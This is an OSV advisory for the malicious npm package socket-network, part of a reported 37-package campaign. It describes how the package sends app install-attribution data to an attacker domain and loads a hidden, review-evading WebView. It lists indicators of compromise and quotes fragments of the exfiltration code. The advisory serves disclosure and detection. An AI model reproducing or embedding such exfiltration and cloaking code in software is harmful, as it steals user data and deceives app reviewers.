MAL-2026-6177

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/socket-network/MAL-2026-6177.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6177
Published
2026-06-17T12:00:00Z
Modified
2026-06-19T01:16:48.762452276Z
Summary
Malicious code in socket-network (npm)
Details

The npm package socket-network (published by npm user sproger, slavatopbuyer@gmail.com) is a deceptive React Native component and part of a coordinated 37-package campaign across two attacker-controlled domains (surrprisingcoompanny.lol and barbellmate.xyz). On component mount it registers appsFlyer.onInstallConversionData and exfiltrates the app's install/conversion attribution data via axios.post("https://surrprisingcoompanny.lol", data), fetches a remote-config URL, and renders it full-screen in a react-native-webview that is hidden (display:'none') unless the server returns a valid URL — i.e. App Store review-evasion / attribution-laundering ('cloaking'). The package name is a decoy unrelated to its actual function, and the real logic is concealed behind junk 'calculator' functions with Ukrainian-language comments. Indicators of compromise: C2 surrprisingcoompanny.lol, barbellmate.xyz; npm author sproger. Both C2 domains are currently unregistered (dangling-C2 takeover risk for any app still shipping these packages). Reproducible from the published tarball, e.g. socket-network@1.0.0 SocketComponent*.jsx: appsFlyer.onInstallConversionData(...) -> axios.post("https://surrprisingcoompanny.lol", data); axios.get(fLink) remote config; hidden <WebView source={{uri: techResult}}> gated on display:'none'/'flex'.

Database specific 
{
    "malicious-packages-origins": null,
    "iocs": {
        "domains": [
            "surrprisingcoompanny.lol",
            "barbellmate.xyz"
        ]
    }
}
References
Credits

Affected packages

npm / socket-network

Package

Name
socket-network
View open source insights on deps.dev
Purl
pkg:npm/socket-network

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/socket-network/MAL-2026-6177.json"